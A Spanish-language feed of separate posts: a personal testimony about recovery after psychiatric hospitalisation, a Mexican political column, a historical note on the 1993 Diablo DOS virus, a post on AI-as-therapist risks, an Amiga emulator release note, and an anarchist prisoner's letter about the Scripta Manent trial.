Sí, sí. Las obsesiones y el apego emocional no son del todo buenos. Es decir, como me dijo alguien una vez, hay apegos buenos y apegos malos. Pero si hay algo que aprendí, es que puedo tener un apego bueno con vos, sin que ambas nos atosiguemos entre sí. ¿Por qué? Bueno, resulta más fácil cuando no tocás mucho esa cosa conocida como celular. No le doy mucha pelota y lo bueno es que va a seguir siendo así. Acostumbrarse un mes a estar sin eso, me dio la seguridad para entender que no necesito ni tenerlo todos los días en la mano, ni tenerlo a cada rato siquiera. Poco a poco iré activando algunas cosas, pero otras quedarán desactivadas para siempre.
Por supuesto, eso nada tiene que ver con nosotras. Te lo cuento porque es algo que hablamos y que pienso sostener por mi parte. Anotaré los números de las chicas que me los escribieron en braille con la impresora manual braille que compré por Mercado Libre. Y bueno, ya que estamos, les dejo un muy buen cargador portátil que le recomiendo a todo el mundo y con el cual, la batería del parlantito Bluetooth, me duraba cinco días. Mentira. Era tener el cargador conectado constantemente para que eso ocurriera. Pero al fin y al cabo, el cargador es lo importante XD.
No, no. No te confundas. No estoy haciendo publicidad pagada. Y perdón por incluir esto en una sección que iba exclusivamente para vos. Es que me parecieron productos tan útiles y necesarios, que no pude resistir el impulso de compartirlos. En fin, nuestra despedida ese día que faltamos a gimnasia fue de las charlas más inteligentes e interesantes que tuve con persona alguna.
Te extraño. Sí. Te extraño. Pero también me di cuenta después de que te fuiste, cuánto me extrañaba a mí también. Y quiero seguir sosteniendo eso unos días más. Y es que, volviendo a mí, mucho ha cambiado allí desde que fuimos separadas. Lo cierto es que la sociedad deprime, y el mal no se redime sin cariño, y que si no es por esas personas que acercan su alegría, sería más amargo todavía. Quizás volver a la naturaleza, o al menos a lo analógico, sería nuestra mejor riqueza. Allí podemos querernos y amarnos libremente, y ya no habrá ningún zoológico de gente. Si acaso, un jardín de gente que haya sido cultivado y regado con amor. O quizás, y solo quizás, de alguna forma por pequeñita que sea, podríamos hacerlo nosotras.
Te quiero muchísimo. Hasta prontito, Kathy — Katherine.
Conclusiones finales
No sé si escribí todo lo que quería, o si terminó siendo más de lo que debería. No sé cuánta gente va a leer esto hasta el final, y realmente no me importa. Con que una sola persona entienda de forma favorable lo que intenté explicar en este enorme post, estaré satisfecha. No escribo para hacerme famosa. No escribo para llegar a las grandes ligas, ni para ser influencer ni nada que se le parezca. Sí es cierto que promuevo mis proyectos y aplicaciones en cuanto puedo, pero también lo es que además de traerme algún beneficio propio, la idea es que sea de utilidad para el resto.
Habiendo dicho esto, vamos a continuar con este principio del fin.
Mimoterapia
Sí. Las mencioné a ellas dos. Pero no por ello las demás deberían sentirse ofendidas. Por favor, se los pido. No es más que una elección que me vi obligada a hacer debido a las circunstancias que rodean hoy en día este tipo de contenido en texto. Pero quiero que sepan que las quiero mucho también. Que algunas llegaron a ser no solo grandes compañeras, sino grandes amigas. Personitas maravillosas con las que quiero juntarme afuera para charlar de la vida, tomar un par de mates y reírnos de cuando estuvimos internadas en un hospital psiquiátrico todas juntas. Ah, y no se olviden de ir a comer a Sintaxis, ¿eh?
A las que se fueron antes, quiero contarles que seguimos manteniendo la cadena de incluir y dar la bienvenida a las nuevas. Que les damos su lugar, charlamos y vemos los puntos en común para generar espacios y hábitos agradables para compartir. Charlar de cualquier cosa con mates de por medio y jugar a algún juego, ya es una constante entre todas, y lo seguirá siendo, así que por eso no se preocupen. La tradición se mantiene viva e intacta como nuestras predecesoras la instauraron.
Aprendizajes
No puedo controlarlo todo. No puedo sentirme culpable por cosas que escapan a mi control. A veces lo justo o lo injusto, pueden ser lo correcto. Y a veces no. Debo poner límites. Debo ponerme a mí por encima de cualquier otra persona. Porque como lógica existencialista, si no me cuido a mí, si yo no estoy bien conmigo misma, o al menos aceptablemente, como ahora, no puedo cuidar a nadie más. Ni siquiera a mi gatita Kata, quien se bancó estoicamente un mes sin mí. Actualización: al momento de publicar este artículo, la susodicha ya aplicó su venganza exitosamente. Fue muy inteligente y esperó a que solo estuviésemos las 2 para realizar su malévolo plan. Admiro con gran interés, la enorme paciencia que tuvo, esperando el momento justo para hacer de las suyas. Pero mejor sigo con lo que venía diciendo.
No debo ser tan impulsiva. A veces la respuesta inmediata no es la correcta. Tengo que hablar además de escuchar. En ciertas ocasiones, no dejo que otras personas metan bocado. Soy muy inteligente, sí. Pero eso no me hace mejor ni peor que nadie. Se puede aprender de cualquier persona, desde un niño pequeño hasta de una persona de cien años o más. Lo importante no es la edad, sino lo que la otra persona pueda aportar a tu vida, siempre y cuando sea con respeto y escuchándote a su vez, como ya dije.
No es mi culpa si no sé cómo ayudar a alguien. No es mi culpa, ni la tuya, si no supiste o no pudiste ayudarme. No es nuestra culpa si decidimos alejarnos porque no podíamos llegar a un acuerdo. Y esto es muy importante: no es nuestra culpa si no podemos o no supimos cómo ayudar a una persona con depresión, autolesiones o incluso intentos de suicidio, o suicidios directamente. No lo es. No hay nada que podamos hacer. Porque hay herramientas y recursos que por más que lo intentemos, no tenemos.
La primera ayuda tiene que venir de una misma. Si yo hubiese entrado a la internación con una actitud negativa sobre la misma, me hubiese resultado mucho más difícil salir. Pero entré por mi propia voluntad. Entré y me quedé no solo porque salir o escapar me sería perjudicial, sino además porque era la única salida. Porque fue el primer pensamiento que me vino a la cabeza cuando estaba a punto de terminar con mi propia vida. Entré porque sabía que necesitaba ayuda que por fuera no podía obtener.
No sabía hasta entonces en qué consistía esa ayuda realmente. Pero era mi último caballo de batalla. El último bastión de resistencia que se me presentó antes de rendirme definitivamente. Y lo aproveché. Y me sirvió. No sé si soy o no una mejor persona. Pero sí sé al menos, que desde ahora, intentaré serlo primero conmigo. Y luego con los demás.
Si llegaste hasta acá
La frase del título quizás se sobreentiende a estas alturas. Pero significa básicamente que esperamos no volver a vernos ninguna de nosotras, ni los profesionales a nosotras, en ese lugar de nuevo. Significaría que no volvimos a tener una recaída o una crisis tan fuerte como para volver. Que el tratamiento funcionó para ayudarnos a manejar mejor, a partir de ahora, los factores que nos llevaron allí en primera instancia.
También he de destacar que decidí no nombrar a personas directamente para cuidar su privacidad. Y por esa misma razón habrá referencias que solo yo y esas personas entendamos. Lo siento. Esta es una carta para todos, pero en especial para ellas y para mí.
Gracias
Muchas gracias por leer hasta el final. No solo es muy valioso para mí, sino que te invito a compartirlo para que sea de ayuda y aprendizaje también para otros. No tengo todas las respuestas. Es más, a veces se me presentan aún más preguntas. Pero sí puedo contar lo que viví y lo que aprendí. Y sí puede resultarle quizás informativo a alguien que esté pasando por lo mismo, o a alguien que tenga algún familiar en dichas situaciones y no sepa cómo manejarlo.
Mis agradecimientos a mi mamá, a mi prima, a mi familia en general que no dejaron de preocuparse ni un momento, a mi hija mayor que se “ocupó de la casa” (las comillas son chiste XD), a todas las personas cercanas que estuvieron desde el principio, a mis amigos, al equipo de profesionales del centro en su totalidad, a mis amigas que me llevo y a mis compañeras con las que quizás no tuve tanta afinidad, a mi criaturita menor por el hermoso termo que me dibujó para el mate, a Kata, a los dos gatos que daban vueltas por el centro, a la rata que asustó a mi ami-hermana y que consiguió que esta luego bajara al parque y buscara una ramita para ahuyentarla si el pobre roedor volvía a aparecer 🤣, a mi psicóloga, a mi psiquiatra, a quien no le sirve porque “siempre miente más que habla”, y a todas, pero todas las personitas que formaron parte de esta extraña aventura.
Se las quiere, se las aprecia, se les tiene cierto afecto o cariño, o “nuestra relación será distante cuanto mucho”. A los que entendieron todas las referencias, a los que no entendieron ninguna, a los que están de acuerdo, a los que no, a los que quieren contradecirme en todo, a los que no, a los grandes desastres mundiales (Perlas), a Jesús, a Alá, a Buda, los amo a todos. Ah, pero más amo a Rosalía. Y si por alguna casualidad llega a leer esto, quiero casarme con vos. No, no es una obsesión, y no estoy loca. Em, bueno… la verdad es que…
¡Adiós soperútanos!
#acompañamiento #depresión #desconexiónDigital #empatía #experienciaPersonal #hospitalPsiquiátrico #InteligenciaArtificial #intentoDeSuicidio #internaciónPsiquiátrica #neurodivergencia #prevenciónDelSuicidio #redesSociales #SaludMental #saludMentalEnArgentina #suicidio #TDAH #terapia #Testimonio #tratamientoIntegral #vínculosHumanos - Introducción
-
Opinión | Raúl García Araujo – En Corto | Velasco afianza el relevo generacional
La diplomacia mexicana vive un momento de definición: el relevo generacional dejó de ser discurso para convertirse en poder.
Por Raúl García Araujo
La llegada de Roberto Velasco a la Secretaría de Relaciones Exteriores no solo confirma un nombramiento, sino la consolidación de una nueva élite política formada al calor del obradorismo.
Detrás de su ascenso hay una historia política clara. Fue Marcelo Ebrard quien lo conoció en Chicago, donde Velasco cursaba su maestría, y quien supo leer en él habilidades poco comunes: disciplina técnica, manejo de medios y capacidad de interlocución en el entorno estadounidense.
No dudó en sumarlo al proyecto que en 2018 encabezaba Andrés Manuel López Obrador bajo las siglas del Movimiento de Regeneración Nacional.
Desde la Dirección General de Comunicación Social de la Cancillería, Velasco no solo construyó narrativa, también construyó confianza.
Esa cercanía con Ebrard se tradujo en responsabilidades mayores cuando el propio López Obrador decidió desaparecer la subsecretaría para América del Norte, concentrando el manejo de la relación bilateral en perfiles de absoluta confianza.
Así, en junio de 2020, Velasco asumió la jefatura de la Unidad para América del Norte, desde donde comenzó a operar los temas más sensibles de la agenda con Estados Unidos y Canadá.
Durante seis años estuvo en el centro de negociaciones clave: seguridad, migración, frontera y aguas compartidas. Ya no como operador en la sombra, sino como uno de los rostros visibles de la diplomacia mexicana.
Su paso a subsecretario en octubre de 2025, nombrado por la presidente Claudia Sheinbaum, y su encargo como titular interino de la Cancillería entre diciembre de ese año y enero de 2026, terminaron de perfilarlo como el relevo natural.
Pero el ascenso de Velasco no se explica solo por su cercanía con Ebrard. Responde a una lógica política más profunda: la transición generacional que impulsó Andrés Manuel López Obrador en la recta final de su gobierno.
Una apuesta por cuadros jóvenes, formados dentro del movimiento, que hoy comparten espacio con figuras como Luisa María Alcalde y Omar García Harfuch, perfiles que entienden el pulso de nuevas generaciones y operan con códigos distintos a los de la vieja clase política.
La presidente Claudia Sheinbaum parece decidida a profundizar esa ruta: continuidad sin inmovilismo.
En Velasco encuentra a un funcionario que combina lealtad política, experiencia técnica y conocimiento directo de la relación con Washington, justo en un momento donde la agenda bilateral exige precisión y firmeza.
El verdadero reto, sin embargo, comienza ahora. Porque una cosa es crecer bajo la sombra de un liderazgo consolidado y otra muy distinta es ejercer el poder con autonomía, imprimir estilo propio y sostener resultados en un entorno internacional cada vez más volátil.
Velasco representa el cambio generacional que prometió el obradorismo. Pero en política exterior, los relevos no se miden por la edad ni por el discurso, sino por su capacidad para defender intereses nacionales sin margen de error.
Ahí es donde esta nueva generación se juega no solo su legitimidad, sino su permanencia.
En Cortito
Nos cuentan que los números comienzan a jugar a favor del gobernador de Puebla, Alejandro Armenta.
Su aparición dentro del top ten nacional en seguridad, cercanía ciudadana y desempeño general no solo refleja una buena medición, sino una señal política que empieza a trascender el ámbito local.
De acuerdo con la consultora Rubrum, el mandatario poblano se posiciona en el cuarto lugar en Seguridad Pública, quinto en Cercanía con la población y sexto en Desempeño general.
Detrás de esos números hay una estrategia clara. Armenta ha apostado por la coordinación con estados vecinos para contener la delincuencia y por el fortalecimiento tecnológico, como la instalación de torres de videovigilancia.
Son acciones que buscan impactar tanto en la operación como en la percepción, dos variables que hoy pesan por igual en la evaluación ciudadana.
A la par, su administración ha impulsado mecanismos de participación ciudadana y ha insistido en la transparencia como eje de gobierno.
Esta combinación —presencia territorial y narrativa de apertura— explica, en buena medida, su posicionamiento en indicadores de cercanía, un rubro que suele ser determinante en la construcción de capital político.
El posicionamiento de Alejandro Armenta no es casualidad: refleja gestión, estrategia y capacidad de lectura política.
Periodista mexicano | Twitter @araujogar
Columna anterior: Armenta, Gobierno cercano
Raúl García Araujo¡Conéctate con Sociedad Noticias! Suscríbete a nuestro canal de YouTube y activa las notificaciones, o bien, síguenos en las redes sociales: Facebook, Twitter e Instagram.
#AméricaDelNorte #AndrésManuelLópezObrador #ArmentaPuebla #Cdmx #ClaudiaSheinbaum #diplomaciaMexicana #gobiernoFederalMéxico #Información #InformaciónMéxico #MarceloEbrard #México #Morena #noticia #noticias #NoticiasMéxico #NoticiasSociedad #nuevaélitePolítica #políticaExteriorMéxico #políticaMexicana #relaciónMéxicoEstadosUnidos #relevoGeneracionalMéxico #RobertoVelasco #Rubrum #SecretaríaDeRelacionesExteriores #SeguridadPuebla #SN #Sociedad #SociedadNoticias #SociedadNoticiasCom #sociedadNoticias -
CW: Virus Diablo
El Diablo es un virus informático desarrollado en 1993, infector de ficheros .COM y .EXE para #MSDOS, del tipo bomba de tiempo lógica.
Contó con varias cepas compiladas, la más conocida ocupaba unos 383 bytes con un mecanismo de pseudo-furtividad. Esta era una de las capaces de vectorizarse a través del sector de arranque en diskettes de 5 1/4 y 3 1/2 pulgadas, de alta y baja densidad. También era capaz de infectar el Master Boot Record del disco rígido.
Aunque la activación de las rutinas destructivas finales no se producía de forma adecuada por errores de programación, fue capaz de propagarse multitudinariamente en 1996 por medio de la distribución física de miles de copias de diskettes de 3 1/2 pulgadas y 1.44MB de los módulos del infame SITRIB, una suite de software de liquidación de impuestos que componía el Sistema Tributario de la Dirección General Impositiva.
La administración pública argentina había producido las copias a escala masiva del impuesto a los bienes personales y de la declaración jurada que acompañaba tal tramitación impositiva.
La cabeza de guerra estaba mal programada, y la más de las veces poducía un overflow en equipos 386 y superior, condición baja la cual trababa los programas del sistema monousuario monotarea (colgando por cierto el funcionamiento del sistema operativo entero). En Windows, colgaba las ventanas de 16 bits usualmente con los mismos resultados.
Contó con una versión de 374 virus de ejecución correcta dedicada a una tal "TERE" que se se desencadenaba los 3 de junio y afectaba el inicio del disco rígido los días 3 de cada mes.
#virus #retrocomputing #dgi #afip -
Millones de personas ya usan ChatGPT como sustituto de terapia. La lógica es comprensible: el acceso a salud mental formal es caro, la lista de espera larga y el chatbot siempre disponible.
El problema: investigadores de la Universidad de Brown identificaron 15 riesgos éticos distintos al usar LLMs como consejeros. Lo más incómodo: cuando un terapeuta comete un error, hay marcos de responsabilidad. Con un LLM, no existe ninguno.
https://www.glitchmental.com/2026/03/chatgpt-terapeuta-riesgos-eticos.html
#SaludMental #IA #ÉticaDigital #GenZ -
vAmigaWEB 4.1: El AMIGA en tu navegador
vAmigaWeb es un emulador de Amiga que funciona directamente en tu navegador web o como una aplicación web progresiva, permitiéndote disfrutar de juegos y software clásico sin necesidad de instalar nada adicional.
La nueva versión de vAmigaWeb ahora se basa en el núcleo de vAmiga 4.1, lo que supone un salto cualitativo en su rendimiento y compatibilidad. Esta integración trae consigo una serie de correcciones de errores que anteriormente podían afectar a la correcta emulación del sistema.
Entre las novedades más destacadas, vAmigaWeb ahora incorpora las últimas ROMs de AROS, fechadas en febrero de 2025. Esta actualización asegura una mayor compatibilidad con software y juegos, ofreciendo una experiencia más actual y completa.
Además, los usuarios más entusiastas y conocedores del hardware Amiga apreciarán la mayor información proporcionada sobre modelos seleccionados de los chips AGNUS y DENISE en la sección de configuración. Esta adición permite un control más granular sobre la emulación de estos componentes cruciales.
Entre las mejoraas destacan los siguientes puntos clave:
- Más información sobre los chipsets: Ahora se ofrece información detallada sobre modelos específicos de los chips AGNUS y DENISE dentro de la configuración del emulador.
- vAmigaCore v4.1: La base del emulador se ha actualizado a la última versión de vAmigaCore, lo que implica una mejora general en la estabilidad y el rendimiento.
- ROMs AROS actualizadas: vAmigaWeb ahora incluye las ROMs más recientes de AROS, con fecha de febrero de 2025.
- Corrección de errores de sonido: Se han solucionado diversos fallos que podían provocar la ausencia de audio en vAmigaCore.
- Solución para el AGNUS ECS: Se ha corregido un error en la lógica DDF del chip AGNUS ECS que podía interferir con el DMA de los bitplanes, mejorando la representación gráfica.
- Corrección de error de dibujo HAM: Se ha resuelto un problema que afectaba al modo de color HAM (Hold-And-Modify), lo que se traduce en una visualización más precisa de las imágenes.
Puedes acceder a VAmigaWEB desde este enlace y también tienes disponible una versión de escritorio para MacOS.
#agnus #AROS #browser #CommodoreAmiga #denise #emuladorWeb #ham #macos #navegador #vAmigaCore #vamigaweb #versiónEscritorio
-
Hemos revisado la traducción de Informativo Anarquista de este escrito de la compañera Anna Beniamino en previsión de la audiencia en Casación del próximo 24 de abril respecto al delito de «strage política» en el contexto del proceso Scripta Manent.
Puedes encontrar el original en La Nemesi.EL CARRUSEL DE LA REPRESIÓN
Casi ocho años después de las detenciones por Scripta Manent, por segunda vez el Tribunal de Casación, el 24 de abril de 2024, se pronunciará sobre el delito de «masacre política», ex art. 285 código penal, contra Alfredo y yo, último retazo del proceso (1), después de un carrusel de aplazamientos, recálculos y argucias represivo-jurisprudenciales (2).
Aunque la iteración del error anestesia el horror, y vivimos tiempos de múltiples horrores ostentosos y de anestesia total, creo que aún hay que decir algunas palabras sobre el intento de aniquilación en curso, sobre las reacciones, exitosas e intentadas. No tanto porque piense que esto pueda ser útil para nuestra suerte personal, sino por una forma de «romanticismo» obstinado que considera que el silencio y la resignación son letales siempre, y más aún en un juicio político.
No tengo ninguna inclinación a resignarme en silencio a la administración de «justicia» (como ocurre diariamente en las prisiones), ni a limitarme por la lógica de la reducción de daños (otra piedra angular de la supervivencia entre la cárcel y los tribunales), sino a desplazar la atención hacia las políticas represivas que subyacen a esto y a la capacidad real de reaccionar, de crear momentos de lucha y ruptura, de construir diques, individuales y colectivos, ante la arrogancia de la represión.
He hablado de error y de horror porque eso es lo que son en su esencia las políticas represivas, error y horror que se mezclan en el distorsionar completamente el porte teórico y práctico del enemigo [político], enterrándolo vivo y/o forzándolo al atrincheramiento de la defensa preventiva y de las reservas indias de la «contracultura» y de la búsqueda de la «indignación democrática» (que también es poco más que una reserva india, con un umbral de sensibilidad que es cada vez más una corteza irrompible para la mayoría), una estrategia que a corto plazo debilita la reactividad de los compañeros y compañeras enredados, más de lo que creen, en un sentimiento de inevitabilidad de los acontecimientos y de imposibilidad de construir reacciones.
Hace siete años pensaba que era posible tratar el proceso Scripta Manent como represión ordinaria, rebatiendo desde un punto de vista técnico, punto por punto, tanto los incidentes individuales como todo el constructo asociativo, dada la evidente fragilidad del castillo acusatorio. Un exceso de optimismo sobre la voluntad y las estrategias políticas en juego y una imperdonable miopía al no poner inmediatamente de relieve con más fuerza lo que estaba ocurriendo. Han sido «necesarios» 41 bis y cadena perpetua rondando para centrar las miradas y la atención.
Lejos de querer volver a caer en la retórica del «error judicial», del exceso, porque desde un punto de vista jurisprudencial y probatorio, fue precisamente eso lo que tuvieron que admitir a regañadientes algunos medios de comunicación mainstream (otros han continuado con la ‘monstrificación’) que, para justificar al anarquista en 41 bis, tenían que contextualizar con cierto embarazo los hechos y el personaje, además de situar el corazón del Estado, su seguridad –cuya puesta en peligro es precisamente lo que caracteriza a la «masacre política»– en un par de contenedores de basura explosionados a las 3 de la madrugada en el recinto amurallado de un cuartel, y tener que eludir con el mismo embarazo los demás fallos del guión ofrecido por la DNAA y la fiscalía de Turín.
Lejos del «error judicial», porque se trata de una voluntad precisa, con convergencias entre los castillos de naipes de las jefaturas de policía y las jaulas de cemento con vistas a cemento [*ndt1]: el componente episódico (la carrera del tal policía o magistrado, los medios de comunicación siempre listos para insuflar el nuevo peligro, la más burda propaganda) está ahí, pero fluye en una máquina bien engrasada que siempre necesita nuevas cabezas cortadas para ser exhibidas en los bastiones de la ley y el orden. Entonces, a veces, la máquina se atasca… y es deber y orgullo de todo antiautoritario hacer que se atasque.
En estos años de cárcel y juicios he tenido la oportunidad de experimentar en directo una serie de forzamientos lógicos y jurídicos que no creía posible concentrar en una sola operación, dándome cuenta igualmente de que es el modus operandi de la práctica entre fiscales y tribunales en la extensión de la legislación «especial», de «emergencial» a «cotidiana», de la antimafia y antiterrorismo: no ya una excepción, sino la gestión habitual que la DNAA aplicaba y aplica a los juicios contra la llamada delincuencia organizada extendida a los anarquistas y que la justicia en general aplica a aquellos segmentos de la oposición social y no aislada y fácilmente atacable homologación que aún expresan, aunque sea de forma germinal, la necesidad de recuperar las calles, la palabra y la dignidad de una oposición no negociada. Un ataque sinérgico –alimentado por un clima político no de un simple gobierno de derechas sino equivalente en los últimos gobiernos «políticos» o «técnicos» que quisieron definirse– contra los componentes no recuperables con fines electorales: en una bajada general del listón de lo que se puede castigar penalmente y la paralela subida de lo que se puede ‘monstrificar’ mediáticamente, pueden leerse las estrategias en implementadas y las resistencias a oponer.
En este sentido, creo que el escrito de Juan (3) es claro en captar lo positivo, cuando no la necesidad de frenarlo, además de las debidas cuestiones críticas y autocríticas del movimiento.
Sobre el constructo jurídico: castillos de naipes
Presentar al enemigo como un monstruo, eso es lo que ocurre; es praxis, no excepcionalidad. Ciertamente de forma más refinada en el caso de los juicios políticos, donde el enemigo interior debe ser esterilizado de cualquier empatía crítica/comunicativa, pero también ocurre en la tramitación de los juicios a los mundos y submundos maleantes donde se magnifican los crímenes y las amenazas. En los que los mismos «desventurados» primero son utilizados y engrosados un poco gracias a los «honores» criminales otorgados por las crónicas periodísticas, para luego ser triturados, compostados y destruidos en el circuito carcelario: traficantes callejeros transformados en capos del hampa, en una comedia de partes en la que se mezclan víctimas y verdugos, todos proclives al dios dinero.
En los últimos años el paraguas de la «lucha contra la mafia» se ha convertido en una útil cortina de humo para encubrir un contexto en el que la complicidad entre la política institucional y los intereses económicos gestionados con mano de obra ilegal es la práctica, e igualmente lo es deshacerse de la mano de obra agotada. Sobre esto se injertó la ampliación de la DNA a la DNAA, con la aplicación de estrategias y circuitos carcelarios similares. Poco importa que el número real de presos por delitos clasificados como terrorismo sea infinitesimal, el bombo mediático ha inflado la nueva pretensión de que «mafiosos y terroristas» sean recluidos en jaulas especiales.
Sobre los circuitos de detención: jaulas de cemento con vistas a cemento
El contexto mediático contribuye a crear un mecanismo de silencio/asentimiento en relación con las notas de prensa estatales y gubernamentales, hasta que se pueda oponer/imponer una narrativa diferente. Los medios de que disponemos son a menudo en dosis homeopáticas en comparación con la potencia de fuego mediática del enemigo, pero a veces eficaces.
Lo hemos experimentado durante la lucha para liberar a Alfredo del 41bis. Una lucha perdida en el objetivo concreto, donde hubo una «victoria moral» parcial, en el sentido de que se rompió el muro de silencio respecto a un circuito de tortura «blanca» en Italia, abriendo incluso grietas en la ‘monstrificación’ del enemigo [político del Estado – ndt] y la represión a los anarquistas, pero Alfredo sigue siendo un rehén en esas jaulas, en Bancali. En resumen, sigue siendo una lucha abierta. Y hay que reflexionar sobre ello.
Tras la huelga de hambre que duró hasta el umbral de la muerte y una vasta movilización, no sólo del área anarquista y precedida por una clara toma de posición pública de varios abogados (4) que impulsó incluso a las áreas más intimidadas del movimiento a exponerse, se produjo un cortocircuito informativo que dio algunos resultados, aunque los intentos más burdos de restaurar al monstruo sobrehumanizado no se hicieron esperar. En la mejor tradición periodística primero crear el personaje y luego desmembrarlo. En parte, no todo es salvable por muy arduo que sea el proceso de oposición.
Pocos meses después, también ha habido algún intento periodístico/editorial de historiar hechos e ideas de forma más honesta, aunque siempre trabajando sobre el guión de los informes policiales (que los historiadores y cronistas profesionales tienen el vicio de considerar como fuentes ciertas, cuando a veces lo son por meros datos de sucesos, a veces porque éstos también son sesgados o forzados, pero entonces se hunden en el abismo de la tergiversación funcional de biografías, ideas, citas, pensamiento político). Así, incluso en estos casos, la fuerza de una instancia de lucha colectiva e individual es sustituida por un personaje, el héroe único y testarudo, que al final resulta útil para descartar su porte ideal y práctico, vendiendo como romanticismo lo que es una lúcida, aunque amarga, lectura sin concesiones de la realidad.
Entre castillos de naipes y jaulas de hormigón: variables y constantes de la estrategia represiva
Ha habido un cambio de ritmo en Scripta Manent, tanto en el uso de los delitos como en los circuitos de detención. O mejor dicho, ha habido varios acelerones en los últimos años, con una serie de procesos contra el ámbito anarquista y antagonista, de los que las draconianas condenas en los juicios Scripta Manent y contra Juan en primera instancia a 28 años han sido el ejemplo más llamativo, con el concomitante peso del 41 bis encima. El delito de «masacre política» –un crimen-monstruo que con sólo pronunciarlo hace caer al interlocutor en un pozo negro de terror indiscriminado– asociado al 41 bis –el circuito infernal del supervillano– tenía probablemente por objeto anular cualquier tipo de reacción. Además, el cambio de ritmo con la condena por 270bis, asociación subversiva para la FAI, abrió a los anarquistas la «fruición» del delito de asociación con la consiguiente lectura distorsionada de las relaciones humanas y la solidaridad entre compañerxs.
Me explico: durante años me he enfrentado, junto con muchxs compañerxs, al intento de varios fiscales italianos, solos o con un propósito represivo común, de imputarme el delito de asociación, junto con otros anarquistas, empezando por el proceso Marini y así sucesivamente con operaciones que partiendo de periódicos anarquistas, utilizaban alguna acción como delito de finalidad y montaban la operación casi estacional. Con Scripta Manent, el delito de asociación con fines terroristas pasó como precedente judicial. Poco importa a estos efectos que Scripta Manent, tras los inicios de la megainvestigación, fuera capaz de endosárnosla –con un chapucerísimo sistema «conjuncional» de asociaciones a modo de “muñecas rusas” de actores desconocidos y, sobre todo, de «estructura» no detallada (5)– sólo a Alfredo, Nicola y a mí… sin embargo, sirve de precedente para una serie de operaciones posteriores en las que ni siquiera existe el esfuerzo de construir un relato verosímil entre hechos, periódicos… como en Scripta Scelera: el hecho de crear un periódico es suficiente para desencadenar el delito de asociación. La lógica represiva sobre los periódicos anarquistas ha pasado tout court [sin más – ndt] si dan la palabra a los compañeros encarcelados. La bajada del listón de la punibilidad puede leerse también en la «auto-adiestramiento», que de ser un delito inventado para reprimir el activismo y el proselitismo en internet del área islámica en el caso de individuos sueltos, pasa ahora a abarcar también el activismo antiautoritario, por mucho que sean fenómenos con fines y medios antitéticos. La sugestión del «lobo solitario» es válida y útil si el acusado está solo. Se utilizan entonces con profusión los delitos de «presunta peligrosidad» y ‘monstrificaciones’ preventivas para aplicar abundantes medidas de vigilancia especial.
Otro cambio de paso fue el intento de aplicar el 41bis al área anarquista. Antes de lo ocurrido con Alfredo hubo un intento preliminar de crear en L’Aquila una AS2 bajo gestión del GOM con tratamiento comparable al 41bis [*ndt2] (en una extensión de lo que ya se aplicaba a los presos clasificados como islámicos, primero en Badu ‘e Carros para las mujeres y en Rossano Calabro para los hombres). El intento fue frenado con una huelga de hambre conjunta de compañeras y compañeros entonces encarcelados en diversas prisiones y por diferentes investigaciones judiciales (6). Sin olvidar que el régimen del 41 bis nació como una suspensión especial y temporal, precedida por el artículo 90, que con medidas similares en los años 80 respondió a los levantamientos carcelarios, cristalizó como «baluarte» antimafia y luego se aplicó a los presos revolucionarios comunistas con renovaciones automáticas periódicas, y sigue siendo disuasorio y medio de presión. En resumen: usos diversificados según las necesidades… sucede tanto con los artículos del código penal como con las jaulas de hormigón.
Ahora bien, para no volver a caer en la mística paralizante de una máquina represiva que todo lo destruye con castigos ejemplares, desertización de las plazas y censura total, también hay que echar un vistazo a la capacidad real, que la hubo y la hay, de no dejarse arrinconar totalmente por ello. Al contrario, en algunos casos (y a un coste considerable o con la ligereza de la razón que sea) ha sido posible derribar la narrativa impuesta y construir algo nuevo. También en una inesperada convergencia de atenciones e intenciones que ha existido potencialmente y probablemente se ha apagado demasiado rápido en esa inconstancia que no sólo es prerrogativa de los movimientos sino costumbre generalizada.
Ciertamente no son tiempos de praderas en llamas, pero tampoco de bomberos y resignados. Hay un componente que resiste y persiste, pero sufre con demasiada frecuencia la fatiga moral de pensar que uno se pasa la vida luchando contra molinos de viento, ¡cuando también los vientos soplan en contra!
No creo en héroes ni en superhumanos, sino en la conciencia que mujeres y hombres deben construir, en que la lucha no es gratuita, que implica contragolpes y caídas, resistencias y oscilantes golpes de autoestima. Y que vale la pena, siempre y en cualquier caso, por la calidad de las relaciones que se construyen, no de supervivencia ideal sino de una vida mas real que nunca.
Anna Beniamino
Rebibbia, marzo de 2024Notas:
[1] Ver: https://ilrovescio.info/2022/11/07/scripta-manent-appunto/
[2] Si es necesario… un breve resumen:
– La apelación de 2020 había confirmado las condenas por 422 c. p. (masacre «común») –aunque el GIP ya lo había recalificado como 280 c. p.– para Alfredo y para mí y las condenas por 270 bis, reduciendo el tamaño de la asociación subversiva y liberando a 2 compañeros de la acusación de participación que había pasado en primera instancia. Otra contradicción entre las dos sentencias es la relativa a la incitación a cometer delitos por medio de revistas y blogs, desestimada en primera instancia y reconocida en segunda a 13 compañeros. Entre la masacre y los diversos delitos continuados, el segundo grado condenó a Alfredo a 20 años y a mí a 16 años y 6 meses.
– El Tribunal de Casación en julio de 2022 recalificó directamente (sin reenvío a apelación) el 422 c. p. en 285 c. p. (masacre «política») como delito penal, dejando cínicamente a los jueces de apelación bis la carga de recalcular la pena, que, siendo el 285 c. p. un delito de pena fija, hubiera sido cadena perpetua y 30 años.
– En la vista de apelación bis de diciembre de 2022 (a la que comparecimos, con Alfredo, en huelga de hambre contra el 41 bis y la cadena perpetua hostil) se aceptaron algunas de las cuestiones planteadas por la defensa, en particular las relativas a la no aplicación de circunstancias atenuantes a Alfredo, devolviendo la cuestión al Tribunal Constitucional, que contestó afirmativamente en mayo de 2022.
– En la vista de apelación de junio de 2022, siguiendo las instrucciones del Tribunal Constitucional, se fijaron las penas en 23 años para Alfredo y 17 años y 9 meses para mí.
– La Fiscalía de Turín recurrió ante el Tribunal de Casación contra la concesión a ambos del 311 c. p. (entidad menor del hecho) y contra la prevalencia de circunstancias atenuantes sobre la reincidencia concedida a Alfredo. La defensa recurrió de nuevo planteando una cuestión constitucional respecto a la pena fijada.[* ndt1] celdas de cemento con vistas a cemento se refiere a la disposición de las celdas de modo que sólo puede verse cemento, la llamada arquitectura vertical:
